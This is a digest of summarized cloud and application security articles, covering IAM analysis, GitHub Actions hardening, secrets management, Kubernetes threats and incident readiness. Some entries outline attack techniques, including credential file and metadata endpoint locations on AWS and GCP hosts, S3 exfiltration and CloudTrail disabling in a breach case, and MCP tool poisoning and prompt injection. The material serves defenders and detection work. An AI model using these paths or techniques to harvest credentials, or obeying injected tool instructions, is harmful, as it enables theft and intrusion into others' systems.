  • Security for High Velocity Engineering
    summary

    TL;DR: Jason Chan, ex-Netflix security VP, argues security must match engineering velocity through guardrails, sublinear team growth and paved-road solutions, not SDL-style gates.

    • Origin: Adapted from his LocoMocoSec 2024 keynote; contrasts VMware’s monthly deploys with 12-18 hours downtime against Netflix shipping dozens of times daily.
    • Constraint 1: Align with developer experience: maximize flow, give fast feedback, minimize cognitive load.
    • Constraint 2: Grow headcount sublinearly versus the company, like legal or HR.
    • Constraint 3: Prefer high-leverage reusable artifacts over one-on-one engagements.
    • Principles: Change is constant; change systems, not people (Netflix tenure was 18-24 months); guardrails, not gates.
    • Core processes: Asset discovery and enrichment, vulnerability finding and fixing, and incident response such as log4j.
    • Paved road: Optional, well-supported solutions like a central crypto API; grow width (offerings) and smoothness (ease of adoption).
    • Measurement: Treat adoption as a hypothesis; Netflix withheld secrets-in-code tickets until a secrets solution existed, then ran adoption campaigns before alerts.
    • Caveats: Anecdotal, no quantitative evidence; assumes central teams have resources to build and maintain paved roads.

    Takeaway: Before filing findings against teams, ship a secure-by-default paved road for the problem, then measure adoption and replace manual review gates with continuous guardrails.

  • IAM Lens: Google Maps for AWS IAM
    summary

    TL;DR: iam-lens is an AGPL-3.0 Node.js CLI that evaluates real collected AWS IAM policies locally to answer who can do what across accounts and organizations.

    • What: “Google Maps for AWS IAM”, evaluating identity policies, boundaries, SCPs, RCPs and resource policies together.
    • Input: Needs data from companion iam-collect (iam-collect init, iam-collect download), stored on disk or in S3.
    • Install: npm install -g @actsecurity/iam-collect @actsecurity/iam-lens.
    • simulate: Returns Allowed, ImplicitlyDenied or ExplicitlyDenied; --expect sets a nonzero exit code on mismatch, useful in CI.
    • who-can: Lists principals, including cross-account and service principals, that can act on a resource, and flags anonymous access.
    • principal-can: Produces a consolidated effective-permissions policy; --shrink-action-lists condenses output.
    • Simulation modes: Anonymous, external principal and external resource requests for entities outside the collected dataset.
    • Limits: SCP and RCP effects need management-account data; special modes reject wildcard-only actions and skip boundaries, SCPs or RCPs.

    Takeaway: Collect IAM data org-wide and use simulate --expect in pipelines to assert intended access, and who-can to audit sensitive buckets and roles.

  • awesome-cybersecurity-agentic-ai: Curated List of Cybersecurity Agentic AI Resources
    summary

    TL;DR: A curated MIT-licensed awesome list of agentic AI resources for cybersecurity, covering security MCP servers, AI pentest tools, guardrails, research and datasets.

    • Scope: Tools, research, datasets and communities where autonomous AI agents meet offensive and defensive security.
    • MCP servers: About 25 entries, including Nuclei, Ghidra, x64dbg, BloodHound, Burp Suite, Shodan and VirusTotal.
    • Tools: Largest section (about 50) with agent security scanners, runtime guardrails and AI pentest platforms like pentagi, Vigil and Pipelock.
    • Research: Papers and projects on autonomous CTF and pentest agents, such as AutoCTF, CAI, D-CIPHER and Microsoft’s CyberBattleSim.
    • Frameworks: LangChain, LangGraph, CrewAI, AutoGen, Semantic Kernel, plus the Cloud Security Alliance MAESTRO threat-modeling framework.
    • Datasets: CICIDS 2017/2018, UNSW-NB15, DARPA Transparent Computing data and CTF write-up collections.
    • Learning: Newsletter, AI security podcast and PromptTrace hands-on training; communities include AI Cyber Alliance.
    • Caveats: A link list only; entries are not vetted or benchmarked, and counts are approximate.

    Takeaway: Use it as a starting index for security MCP servers and agent guardrails, but review each project’s maturity before wiring it into tooling.

  • kubectl-ai: AI powered Kubernetes Assistant
    summary

    TL;DR: kubectl-ai from GoogleCloudPlatform turns natural-language requests into Kubernetes operations via CLI, kubectl plugin, web UI or MCP server, supporting many LLM providers.

    • Providers: Gemini (default), Vertex AI, Azure OpenAI, OpenAI and compatible endpoints, Grok, AWS Bedrock, plus local ollama and llama.cpp.
    • Local models: Some need --enable-tool-use-shim for tool calling.
    • Install: install.sh script, release tarball, kubectl krew install ai, NixOS, or Docker; requires a configured kubectl.
    • Modes: Interactive chat, one-shot with --quiet, Unix piping, opt-in sessions, and web UI via --ui-type web.
    • Tools: Built-in kubectl and bash, extendable with custom tools YAML; config in ~/.config/kubectl-ai/config.yaml.
    • MCP: Client mode (--mcp-client, v0.0.12+) and server mode (--mcp-server) with streamable-http at /mcp.
    • Security: HTTP MCP endpoint is unauthenticated by default, so anyone reaching the port can run kubectl and bash.
    • Auth: Opt-in OAuth 2.1 via --mcp-auth-issuer and --mcp-auth-audience, verifying JWTs against issuer JWKS.
    • Caveats: Not an officially supported Google product; skipPermissions defaults to false; README gives no accuracy or benchmark data.

    Takeaway: Useful for interactive cluster triage, but run it with least-privilege kubeconfig and never expose the MCP HTTP endpoint beyond localhost without OAuth.

  • Automatically Prioritize Security Issues From Different Tools with an LLM
    summary

    TL;DR: Plerion shows three ways to have an LLM re-rank a mixed-scanner security backlog, arguing that enriched issue context matters more than prompt wording.

    • Problem: Scanner severities conflict across tools and vendors inflate them; the example backlog has 742 issues with 61 marked “Critical”.
    • Input enrichment: Feed the model the affected resource, account, asset criticality, exposure (e.g. a bucket policy with "Principal": "*"), owner tags, and CVE and IP lookups.
    • Naive scoring: score_sort.py gives each issue a 1-100 score with reasoning; linear cost, but scores cluster at round numbers. Took 29.52s for 10 issues.
    • Bubble sort: bubble_sort.py runs pairwise LLM comparisons, O(n²): 45 for 10 issues, 4,950 for 100. Took 193.75s for 10 issues.
    • Elo rating: elo_sort.py starts every issue at 1200 and compares random pairs; the run with --max-comparisons 0.8 took 171.15s and kept comparison history.
    • Prompt: Tells the model to ignore source severity and weigh impact, likelihood, resource importance, reachability, fix availability, age, time to fix and environment; returns JSON.
    • Models: Claude 3.5 Haiku, 3.5 Sonnet and 3.7 Sonnet on AWS Bedrock trade speed and cost against reasoning depth.
    • Caveats: Not fully deterministic, tested on one 10-issue dataset with no ground truth, has inconsistent example scores, and pitches the vendor’s Pleri product.

    Takeaway: Before you ask an LLM to triage findings, enrich each finding with asset, exposure and ownership context. Use pairwise or Elo ranking for small top-N lists and accept non-deterministic output.

  • The Vulnerable MCP Project: Comprehensive Model Context Protocol Security Database
    summary

    TL;DR: The Vulnerable MCP Project is a searchable database of Model Context Protocol vulnerabilities, exploits and research, useful for tracking risk in AI agent tool integrations.

    • What it is: A catalogue maintained by Vineeth Sai, now at vulnerablemcp.info, with stats, taxonomy and a reporting form.
    • Numbers: 50 vulnerabilities, 13 rated Critical, 32 credited researchers, with entries from March 2025 to February 2026.
    • Categories: Input Validation (17) and Prompt Injection (13) lead, followed by Auth Failures, Integrity, Trust Model, Network Security, Session Management and Credentials.
    • Critical RCEs: MCP Inspector (CVE-2025-49596, chainable with DNS rebinding), mcp-remote command injection (CVE-2025-6514), and MCPJam Inspector unauthenticated on 0.0.0.0 (CVE-2026-23744).
    • Anthropic servers: Three chained flaws in mcp-server-git (CVE-2025-68143/68144/68145) reach RCE when combined with the Filesystem MCP server.
    • Attack classes: Tool poisoning via hidden instructions in tool descriptions, rug pulls, line jumping, and zero-click prompt injection through shared Google Docs in Cursor.
    • SDK and client bugs: DNS rebinding in the official SDKs (CVE-2025-66414/66416), a TypeScript SDK cross-client data leak (CVE-2026-25536), and Cursor MCPoison (CVE-2025-54136).
    • Other issues: SSRF in Fetch MCP and MarkItDown reaching EC2 metadata, plaintext API key storage, session IDs in URLs, and a registry-hijacking study of 67,057 servers.
    • Caveats: Impact scores are the site’s own ratings; sources mix CVEs, papers and disputed blog reports; some entries are theoretical.

    Takeaway: Check every MCP server and client you run against this list. Bind local MCP tools to localhost with authentication, and treat tool descriptions and fetched content as untrusted input.

  • Hardening GitHub Actions: Lessons from Recent Attacks
    summary

    TL;DR: Wiz updated its GitHub Actions hardening cheat sheet for 2026 after the tj-actions, trivy-action and Axios incidents. It covers org settings, secrets, workflow authoring, third-party actions and runners.

    • Threat pattern: A compromised workflow or action leaks credentials, and the attacker then moves laterally. In tj-actions (March 2025), a vulnerable workflow leaked PATs that were used to poison actions across thousands of repos.
    • Org settings: Make the default GITHUB_TOKEN read-only, since orgs created before February 2023 may still default to read-write. Turn on SHA pinning enforcement (August 2025) and block actions during incidents with a ! prefix.
    • PPE vectors: Pwn Requests through pull_request_target or workflow_run, script injection from issue titles or branch names into run:, GITHUB_ENV/GITHUB_PATH abuse (for example LD_PRELOAD), and living-off-the-pipeline tools.
    • Workflow authoring: Set permissions: {} at the top and grant per job. Use persist-credentials: false on actions/checkout, and pass untrusted values through env, never inline interpolation.
    • Secrets: Scope secrets to step-level env. Avoid toJson(secrets) and secrets: inherit, prefer OIDC, and keep release credentials in GitHub Apps.
    • Third-party actions: Pin to commit SHA, because tags can be force-pushed. Add a 7-14 day cooldown with pinact --min-age 7 or Renovate minimumReleaseAge.
    • Branch protection: Dismiss stale approvals on new commits, and require approval from someone other than the last pusher to stop PR hijacking.
    • Runners: Never attach self-hosted runners to public repos. Use ephemeral runners with default-deny egress.
    • Tools: zizmor for static analysis, octoscan, OpenSSF allstar, and trajan/Gato-X for self-testing. GitHub’s roadmap adds a workflow dependencies: lockfile that pins transitive actions.

    Takeaway: Run zizmor across all workflows and enforce SHA pinning at org level. Set read-only default tokens and permissions: {}, then replace long-lived cloud secrets with OIDC.

  • Building Uber’s Multi-Cloud Secrets Management Platform to Enhance Security
    summary

    TL;DR: Uber describes how a 10-person team centralized, scanned, scoped and auto-rotated 150,000+ secrets across clouds, and why it is now moving toward secretless authentication.

    • Scale: 5,000+ microservices, 5,000 databases, 500,000+ daily analytics jobs, 150,000+ secrets and 400+ vendor integrations.
    • Consolidation: Uber cut 25 HashiCorp Vault deployments to 6, limiting blast radius per environment; the Kubernetes External Secrets Operator enabled migration without code changes.
    • Metadata: Each secret records provider, deployment platform and impact level, backfilled by heuristics and owner crowdsourcing.
    • Scanning: A pre-commit Git CLI blocks secrets; PRs, pushes, Slack and build logs are scanned in real time; repos, filesystems and images are scanned on schedule.
    • Scoping: Monitoring which pipelines (Piper, Buildkite) read secrets inside containers cut the secrets distributed to workloads by up to 90%.
    • Rotation: A Cadence-based Secret Lifecycle Manager drives provider Generate/Revoke/Rollback APIs and rotates about 20,000 secrets per month with no human involvement.
    • Vendor exchange: SSX gives vendors a one-time passcode so they enter secrets straight into the vault, with sanity tests and rollback on deploy.
    • Limits: Full rotation coverage is impractical across many secret types; single-password credentials risk downtime during rotation; SaaS rotation was still in progress.
    • Direction: Uber is shifting to workload identity federation with SPIRE; the 90% figure comes with little methodology.

    Takeaway: Inventory secrets with owner and impact metadata first, then scan every channel and scope each secret to the workloads that use it. Prefer workload identity over rotation wherever a provider supports it.

  • GitHub Actions Workflow Security Analysis with CodeQL Is Now Generally Available
    summary

    TL;DR: GitHub’s CodeQL code scanning for GitHub Actions workflow files became generally available on April 22, 2025, catching injection and permission flaws in CI definitions.

    • What is GA: CodeQL analysis of workflow files under code scanning.
    • Detections: Missing workflow permissions, unvalidated inputs, and script injection.
    • Autofix: Copilot Autofix now covers actions/missing-workflow-permissions, among the most common findings, and suggests least-privilege permissions.
    • Query change: actions/unversioned-immutable-action moved to the extended query suite.
    • Preview numbers: 158,000+ repositories covered, 800,000+ potential vulnerabilities found, and about 15% fixed by maintainers.
    • Default setup: Turns on automatically when workflow files exist on the default branch.
    • Advanced setup: Add the actions language to your CodeQL config; extended queries ship in CodeQL CLI 2.20.6.
    • Limits: GitHub Enterprise Server support arrives in 3.18; the post gives no pricing or plan details, and autofix covers only the permissions query.

    Takeaway: Enable CodeQL with the actions language on all repos and fix script-injection findings first. Set explicit least-privilege permissions blocks in every workflow.

  • container: Create and Run Linux Containers in Lightweight VMs on a Mac
    summary

    TL;DR: apple/container is Apple’s Swift CLI that runs OCI Linux containers on Apple silicon Macs, each one inside its own lightweight virtual machine.

    • What it is: A command-line tool, written in Swift, that creates and runs Linux containers on a Mac.
    • Isolation: Each container runs in its own lightweight Linux VM, not in a shared VM.
    • Images: Pulls and produces OCI-compatible images, so it works with standard registries and other OCI tools.
    • Internals: Built on Apple’s separate Containerization Swift package for container, image and process management.
    • Requirements: Apple silicon and macOS 26, because it needs virtualization and networking features new in that release.
    • Setup: Install the signed package from Releases into /usr/local, then run container system start; test with container run --rm alpine echo hello.
    • Lifecycle: update-container.sh upgrades or downgrades with -v; uninstall-container.sh -k keeps user data and -d removes it.
    • Caveats: Under active development; releases are not semver; experimental features such as the k8s subcommand may break; data is compatible only within one major version.

    Takeaway: On Apple silicon with macOS 26, try container as a Docker Desktop alternative when you want per-container VM isolation. Pin versions, because CLI and data compatibility can change between major releases.

  • This Shit is Hard: Inside the Chainguard Factory
    summary

    TL;DR: Chainguard gives a high-level tour of the automated “factory” that builds, patches, tests and ships thousands of open source packages and images hundreds of times a day.

    • Build system: Builds and tests thousands of upstream projects hundreds of times daily; it moved from GitHub Actions to a custom Kubernetes-based system over about a year.
    • Humans: Dozens of specialist engineers debug build failures, patch packages such as gcc and curl, apply hardening flags and track upstream breaking changes.
    • Bots: Detect upstream releases and open PRs within minutes, retire EOL packages from Wolfi, bump Go dependencies, and auto-merge PRs that pass all checks.
    • Security feeds: Bots update Advisories feeds that let scanners suppress fixed CVEs, and scan updates for malware with Malcontent.
    • AI: Failed build logs go to an LLM that suggests fixes in GitHub comments; engineers rate them, and the author calls this work “still early”.
    • QA: Package tests run on every update; image integration tests use K3s with Helm, or full EKS clusters for images such as the AWS EBS CSI Driver.
    • Distribution: Images ship with short-lived, scoped OIDC tokens through chainctl instead of long-lived credentials.
    • Numbers: The stated SLA is 7 days for critical CVEs and 14 days for high, medium and low; the platform took about three years to build.
    • Caveats: Promotional, self-reported figures; the claim of “fewer CVEs” comes with no data; the post gives little internal detail.

    Takeaway: Copy the pattern for your own base images: bot-driven upstream update PRs, required tests before publish, and auto-merge when checks pass. Use OIDC short-lived tokens for registry pulls.

  • EKS vs GKE Security
    summary

    TL;DR: Jason Umiker compares EKS and GKE security across IAM, network firewalling, posture, vulnerability and supply-chain management, and runtime detection, including defaults and paid add-ons.

    • AuthN: Both use cloud IAM via aws eks update-kubeconfig or gcloud container clusters get-credentials; minimum rights are eks:DescribeCluster or Kubernetes Engine Cluster Viewer.
    • AuthZ: EKS uses only the Access Entries API, replacing the deprecated aws-auth ConfigMap; GKE mixes GCP IAM with Kubernetes RBAC, which rbac-lookup helps audit.
    • Network: AWS Security Groups for Pods exist but are off by default; GKE tags and service accounts secure only nodes, not pods.
    • NetworkPolicy: EKS does not enforce policies out of the box; GKE Dataplane V2 and Autopilot enforce them by default.
    • GKE quirk: FQDNNetworkPolicy needs GKE Enterprise; GKE Warden blocks L7 rules in CiliumClusterwideNetworkPolicy.
    • Posture: AWS has no managed Kubernetes posture tool; GKE Enterprise Policy Controller (managed OPA Gatekeeper) can also govern attached EKS clusters.
    • Vulnerabilities: Inspector scans ECR images and pipelines but not running workloads; GKE Enterprise scans images actually running; Bottlerocket is not the EKS default, Container-Optimized OS is on GKE.
    • Supply chain: AWS Signer and Binary Authorization are mutually incompatible, which ties signed images to one cloud.
    • Runtime: GuardDuty covers the Kubernetes API and node syscalls; GCP SCC Container Threat Detection covers workloads; both have hard-to-predict costs.

    Takeaway: On EKS, enable NetworkPolicy enforcement and SG for Pods, use Bottlerocket, and add Kyverno or Gatekeeper plus GuardDuty Runtime Monitoring. On GKE, audit IAM and RBAC together.

  • Understanding the Threat Landscape for Kubernetes and Containerized Assets
    summary

    TL;DR: Microsoft Threat Intelligence maps the main Kubernetes and container attack paths, shows a password-spray-to-cryptomining case, and lists mitigations and AKS hunting queries.

    • Stat: Microsoft data shows 51% of workload identities were completely inactive over the past year, which leaves unused attack surface.
    • Threat sources: Compromised cloud accounts, vulnerable images, exposed or weakly authenticated Kubernetes APIs, app-level exploits, node attacks and pod escape, and unrestricted network traffic.
    • Case study: Storm-1977 used AzureChecker.exe to password-spray education tenants, then a guest account created a resource group and ran 200+ cryptomining containers.
    • Build-time controls: Scan images, keep secrets in a store, harden DevOps workstations, and enforce PR approval and branch policies.
    • Runtime controls: Keep containers immutable, use admission controllers and Pod Security Standards, block high or critical CVE images, and monitor API calls and Syslog.
    • Identity: Use Entra ID for AKS, disable local admin and kubeconfig reliance, close kubelet read-only port 10255, and avoid wildcard RBAC and cluster-wide bindings.
    • Network: Restrict API server access with IP allowlists and JIT access; limit exposed Kubeflow, Argo, Weave Scope and NiFi; set loadBalancerSourceRanges.
    • Hunting: Three Defender XDR CloudAuditEvents queries find privileged pods, exec into kube-system, and new cluster-admin bindings.
    • Caveats: Advice is heavily Azure and Defender centric; some alerts are in preview; the queries are AKS-specific and need tuning.

    Takeaway: Alert on privileged pods, exec into kube-system, and new cluster-admin bindings in your audit logs. Remove dormant workload identities and lock down API server exposure.

  • Cloud IR Infrastructure: Critical Readiness Steps
    summary

    TL;DR: Invictus IR lists the logging, analysis and access setup to prepare in Azure, AWS and Google Cloud before an incident, so responders can start work immediately.

    • Azure logging: Send the “Big 3” (Entra Sign-in, Entra Audit, Azure Activity) to Log Analytics; storage accounts are cheaper but need Data Explorer or Synapse to search.
    • Azure alerting: Alert on breakglass sign-ins and new Global Administrator or User Access Administrator assignments; put a Delete lock on the workspace and audit queries.
    • Azure containment: Pre-build an isolated IR subscription, a Conditional Access lock-out policy, and PIM for privileged roles; both require Entra P1/P2.
    • AWS logging: Create an organization-wide CloudTrail trail and store it in a dedicated, tightly restricted Log Archive account.
    • AWS analysis: Query CloudTrail in S3 with Athena and Glue using the official org-trail table; broad SELECT * queries get expensive.
    • AWS access: Pre-create cross-account IAM roles for the IR provider, with a permissions policy beyond the trust policy.
    • GCP logging: Route logs to logging buckets and enable Workspace log sharing (Admin, Login, OAuth Token, SAML audit) for Log Explorer.
    • GCP analysis: Upgrade buckets for SQL-based Log Analytics, but the upgrade cannot be reversed; pre-grant IAM roles to external responders.
    • Caveats: Ingestion and retention costs, lock-out risk if Trusted Locations IPs change, and high-level guidance without full configs.

    Takeaway: Set up org-wide trails, protected log stores, breakglass alerts and pre-provisioned responder access now. Test these steps before an incident.

  • Securing a SaaS Company’s AWS Environment After a Breach
    summary

    TL;DR: A consultant’s case study shows how one leaked admin IAM key let an attacker exfiltrate data and destroy a SaaS company’s AWS production, and what fixed it.

    • Initial access: A leaked access key for an IAM user with AdministratorAccess.
    • Attack chain: Recon of all regions, a pivot from staging to prod, security group changes for VPN IPs, RDS master password resets, and exfiltration with aws s3 sync.
    • Evasion and destruction: The attacker stopped CloudTrail, deleted its logs, disabled deletion protection, then deleted EC2, RDS and backups.
    • Root causes: Prod and backups lived in the Organizations management account; CloudTrail logs were in the same account; VPC Flow Logs were missing; CI used prod credentials from non-prod.
    • Process gaps: Shared IAM credentials and a shared SSH Linux user with no session recording; RDS sat in public subnets.
    • Detection miss: GuardDuty raised only a low-severity “CloudTrail stopped” alert; the attacker IPs were later listed as C&C on VirusTotal and Abuse.ch.
    • Numbers: 1,000+ developer hours lost, about one week of outage; CloudTrail LookupEvents allows 2 req/s per region and 50 events per call, over 90 days.
    • Fixes: Multi-account split, org trail with S3 Object Lock, SCPs that block CloudTrail stops and bucket deletes, RCPs, Cloudsplaining, Teleport, and private-subnet databases.
    • Caveats: Anonymized, undated and self-reported; the article does not say how the key leaked.

    Takeaway: Move logs and backups into separate accounts with Object Lock, and add SCPs that deny cloudtrail:StopLogging and deletes. Replace IAM user keys with SSO and short-lived roles.

  • Root in Prod: The Most Important Security Analysis You Will Never Do on Your AWS Accounts
    summary

    TL;DR: Plerion’s Daniel Grzelak shows that “root in prod” covers every principal with a path to admin through IAM and trust policies, and gives a method to map them.

    • Thesis: The root user is only one route; admin roles, permission sets, inline policies and trust relationships make many more principals effectively root.
    • Method: Inventory accounts with Organizations and boto3, define prod by data and cost rather than labels, then find root-equivalent principals.
    • Root equivalents: AdministratorAccess holders, SSO admin permission sets with groups expanded, PowerUserAccess, iam:PutRolePolicy, and broad s3:* or rds:*.
    • Graphing: Export all trust policies, build an assume-role graph, mark admin roles as targets, and trace back every principal with a path.
    • Trust risks: :root trusts let any account principal with sts:AssumeRole in; external full-account trusts and forgotten vendor roles also grant access.
    • CI/CD: Admin deploy pipelines and GitHub Actions OIDC trusts move the boundary to whoever can merge code or change runners.
    • Examples: A StackSet execution role trusting :root with admin, and a role named “public” trusting "*" with AdministratorAccess.
    • Numbers: The sample graph had 3,291 nodes, 6,418 edges and three admin target roles.
    • Caveats: The analysis ignores SCPs and resource policies and only partly checks sts:AssumeRole; the scripts are starting points from a vendor.

    Takeaway: Graph every role trust path to your prod admin roles. Remove :root and wildcard principals, and treat CI/CD, DNS and email owners as part of prod’s admin set.

  • Setting Up a Cloud Security Roadmap for Your Startup
    summary

    TL;DR: AWS Security Digest explains how startups should scope and customize a cloud security roadmap, and compares three public roadmaps by fit and gaps.

    • Why: A roadmap ties security work to business goals and stops teams chasing “urgent” findings while they miss quick wins like backups.
    • Scoping questions: Ask which clouds you use, your top 3 priorities, which services link to those priorities, and whether scope is misconfigurations or all 4Cs (cloud, cluster, container, code).
    • Customizing: Add regulatory needs only if non-compliance is existential, prioritize services linked to past incidents, and pair preventive controls with detective ones.
    • Scott Piper’s roadmap: 10 AWS-only stages that start with public resources and leaked keys; last updated in 2021, so no RCPs; best for early startups.
    • Marco Lancini’s roadmap: 94 multi-cloud items across 7 categories, aligned to CSA CCM, with tools such as Cartography and Falco; best for 250+ engineers or regulated firms.
    • AWS Security Maturity Model: 4 phases across 9 categories; good with AWS credits, but criticized for pushing AWS products.
    • Others: IANS Cloud Security Maturity Model, SANS CISO Scorecard, and a draft NIST CSF-based multi-cloud roadmap.
    • Cadence: Review every two quarters, plan four quarters ahead, and get leadership buy-in per phase because costs rise with maturity.
    • Caveats: No stage-by-stage control lists and no budget figures.

    Takeaway: Pick a base roadmap that matches your size and cloud footprint, then trim it to your top three risks. Review it every six months.

  • AWS Security Maturity Model
    summary

    TL;DR: The AWS Security Maturity Model v2 orders AWS security controls into four phases by effort and impact, so teams know what to implement first.

    • Purpose: Prioritized sequencing guidance that complements Well-Architected and the CAF Security Perspective; it covers the whole organization, not one workload.
    • Quick Wins: Security contacts, region blocking, MFA and root protection, SSO, GuardDuty, CloudTrail, Security Hub, billing alarms, Block Public Access, IAM Access Analyzer, and WAF managed rules.
    • Foundational: SCPs/RCPs, temporary credentials, IMDSv2, vulnerability scanning, multi-account, KMS encryption at rest, backups, secrets out of code, and IR playbooks.
    • Efficient: IaC, least-privilege reviews, a SIEM or data lake, DevSecOps and golden image pipelines, EDR, egress control, threat modeling, Shield Advanced, and tabletop exercises.
    • Optimized: IAM data perimeters, temporary elevated access, threat intel, Flow Logs analysis, Zero Trust, red and blue teams, and automated multi-region DR with chaos engineering.
    • Themes: Identity, detection and response, network, data protection, governance, and automation recur across phases.
    • Audience: Startups can focus on the first two phases; single-account experimenters need only MFA, security contacts and billing alarms.
    • Adoption: AWS says over 100 Solutions Architects use it and it had 50,000+ unique users in 12 months.
    • Caveats: It is the AWS Security team’s opinionated view and leans on AWS services.

    Takeaway: Run the Quick Wins checklist on every AWS account now, then plan Foundational controls such as SCPs, IMDSv2 and multi-account as your next quarter’s work.

  • A Cloud Security Roadmap Template
    summary

    TL;DR: Marco Lancini’s CloudSecDocs roadmap is a 95-control template for building a cloud-native, provider-agnostic, container-based security program, with example tools for each control.

    • What it is: A v1.6 micro-site listing 95 controls; each has task, description, status, priority, maturity, layer (CSP or K8S) and references.
    • Policies & Standards: Cloud security, IAM, encryption and key management, data handling, change and patch management policies, plus continuity and incident management basics.
    • Architecture: Network design, prod and non-prod separation, tenant segmentation, the IAM framework, secrets management, data classification, and Kafka and Istio reviews.
    • Verification: Continuous asset inventory, deployment and cluster validation, and IAM reviews with Cartography, ScoutSuite, Security Hub, SCC and kube-bench.
    • Supply chain: Base image hardening, Dockerfile linting, tfsec, checkov, terrascan, detect-secrets, TUF, in-toto, and Binary Authorization or Kritis.
    • Monitoring: Cloud and Kubernetes security logging, audit log tamper detection, runtime detection with Falco, DLP, and alerting with StreamAlert.
    • Incidents and remediation: Containment and forensic playbooks, access revocation, and drift correction with Cloud Custodian, repokid and PMapper.
    • Business continuity: DR planning, tabletop tests, drills and continuity testing.
    • Caveats: Every control is “NOT STARTED” with maturity 0; the priority scale is undefined; tools are examples; the text has typos.

    Takeaway: Copy the table as your program backlog, mark each control’s layer and status, and use the listed tools as a shortlist rather than mandates.

  • Getting Started with CloudTrail Security Queries
    summary

    TL;DR: Rich Mogull’s hands-on lab for writing Athena SQL queries against an organization CloudTrail trail, pivoting from action, resource or identity to investigate a terminated EC2 instance.

    • Thesis: CloudTrail entries share a structure, but each service team emits its own fields, so useful security queries start from an action, a resource or an identity.
    • Setup: Requires Athena configured over the org trail (cloudtrail_logs.organization_trail); launch and terminate an EC2 instance named “delete” to generate events.
    • Action query: WHERE eventname = 'TerminateInstances' ordered by eventtime DESC reveals who terminated the instance, from which sourceipaddress.
    • Resource query: Match the instance ID in both requestparameters and responseelements; RunInstances only returns the ID in its response.
    • Identity queries: Filter on useridentity.arn for one account, or LIKE '%/username' to cover every account in the org at lower precision.
    • Signals: Changes in source IP or user agent within one identity’s activity often indicate stolen credentials or sessions.
    • Caveats: The resource field is often empty, useridentity subfields vary, console navigation adds many Describe calls, and org-wide queries are slow without partitioning.
    • Reuse: The same queries serve both as threat detectors and as incident analysis tools.

    Takeaway: Keep a small library of action, resource and identity Athena queries for CloudTrail, always search both request and response fields, and plan partitioning before an incident forces it.

  • Roles Here? Roles There? Roles Anywhere: Exploring the Security of AWS IAM Roles Anywhere
    summary

    TL;DR: Unit 42 shows that AWS IAM Roles Anywhere’s default trust setup is too permissive, letting any certificate from a regional trust anchor assume roles it was never meant to.

    • How it works: External workloads authenticate with X.509 certificates via trust anchors (ACM Private CA or uploaded PEM bundle), profiles and IAM roles, calling the /sessions endpoint.
    • Tooling: aws_signing_helper signs requests and can emulate an EC2-style IMDS locally.
    • Root cause: The default role trust policy has no condition, so nothing ties a trust anchor to a specific profile or role.
    • Attack 1: A stolen certificate and key plus ARNs, found via ListTrustAnchors, ListProfiles or CloudTrail CreateSession events, grants access.
    • Attack 2: With rolesanywhere:CreateTrustAnchor or UpdateTrustAnchor, an attacker registers their own CA and keeps persistence while the anchor exists.
    • Fixes: Restrict sts:AssumeRole with aws:SourceArn to one trust anchor, and map certificate attributes like aws:PrincipalTag/x509Subject/CN.
    • Hardening: Prefer ACM-PCA trust anchors, since attackers cannot upload a CA to them; cap permissions with session policies on profiles.
    • Detection: Trust anchors and profiles rarely change, so treat any creation or modification as suspicious.
    • Caveats: Attribute conditions can be bypassed if certificate details leak; no prevalence data is given, and the post promotes Cortex Cloud.

    Takeaway: Audit every role trusting rolesanywhere.amazonaws.com for a missing Condition block, add aws:SourceArn and subject conditions, and alert on trust anchor changes.

14.03.2025

  • The Many Ways to Obtain Credentials in AWS
    summary

    TL;DR: Scott Piper (Wiz) catalogs the many places AWS workloads expose IAM credentials beyond 169.254.169.254, from SDK chain sources to SSM, IoT, Cognito and DataSync.

    • SDK chain: Hardcoded keys win over everything, then env vars like AWS_ACCESS_KEY_ID, then ~/.aws/credentials, /etc/boto.cfg and ~/.boto.
    • IMDS: EC2 roles at /latest/meta-data/iam/security-credentials/; IMDSv2 adds a PUT token; IPv6 endpoint is [fd00:ec2::254].
    • Containers: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI with 169.254.170.2 covers ECS, SageMaker, App Runner, CodeBuild and Batch; FULL_URI serves CloudShell and Greengrass.
    • EKS: Pod Identity uses 169.254.170.23 plus a token file; IRSA uses AWS_WEB_IDENTITY_TOKEN_FILE and sts:AssumeRoleWithWebIdentity.
    • DHMC: A second SSM role per EC2 at identity-credentials/ec2/security-credentials/ec2-instance, needing the key in /var/lib/amazon/ssm/Vault/Store/EC2RegistrationKey.
    • SSM hybrid: Read access to RegistrationKey and InstanceFingerprint under the SSM Vault is enough to obtain credentials on on-prem hosts.
    • Certificates: iot:AssumeRoleWithCertificate and IAM Roles Anywhere (PKCS#11 since September 2023) use generic-looking X.509 files that are hard to classify.
    • Others: Cognito GetCredentialsForIdentity returns session credentials; DataSync uses undocumented cert.pem and keypair.pem under /usr/local/aws-storage-gateway/var/.
    • Caveats: No concrete detection rules; some details come from third-party research; written by Wiz to motivate its sensor.

    Takeaway: Extend credential-theft detection and file monitoring beyond IMDS to container endpoints, token files, SSM Vault paths and certificate files, and remember one host can carry several principals.

  • The Dark Cloud Around GCP Service Accounts
    summary

    TL;DR: Dave Bogle shows that deleting a GCP service account key does not cut off access, because issued tokens cannot be revoked and can mint fresh keys for persistence.

    • Problem: The key only signs a JWT exchanged for an access token lasting about one hour; that token is not revocable.
    • Storage: gcloud keeps tokens in ~/.config/gcloud/access_tokens.db and key credentials in ~/.config/gcloud/credentials.db.
    • Failed revocation: Key deletion and gcloud auth revoke (which only clears local entries) did not stop a replayed raw token.
    • Persistence: A service account with iam.serviceAccountKeys.create creates a key for itself and recreates it whenever defenders delete it.
    • Detection: Alert on google.iam.admin.v1.CreateServiceAccountKey where authenticationInfo.principalEmail equals the account in request.name.
    • Risky roles: roles/editor, roles/owner, roles/iam.serviceAccountKeyAdmin, roles/securitycenter.admin and roles/assuredoss.admin allow key creation.
    • Mitigation: Least privilege, block keys with org policy, and enforce iam.automaticIamGrantsForDefaultServiceAccounts so default accounts lose Editor.
    • Caveats: Google considers it addressed by the May 2024 default-grant change; the author disagrees, and detection was tested in one environment only.
    • Source note: The Red Canary URL now redirects to a Zscaler blog copy of the post.

    Takeaway: Treat a compromised service account as needing disablement, not just key deletion, and alert on any service account creating its own key.

  • Build Go Applications Using Project IDX and the Gemini API
    summary

    TL;DR: Google tutorial (December 2024) for setting up a Go dev environment in the cloud-based Project IDX workspace and starting from Go or Go-plus-Gemini API templates.

    • What it is: Project IDX is Google’s AI-assisted, cloud workspace for full-stack development, launched June 2024.
    • Workspace: Start a blank project, import a GitHub repo, or use a template; each ships a Nix-based .idx/dev.nix.
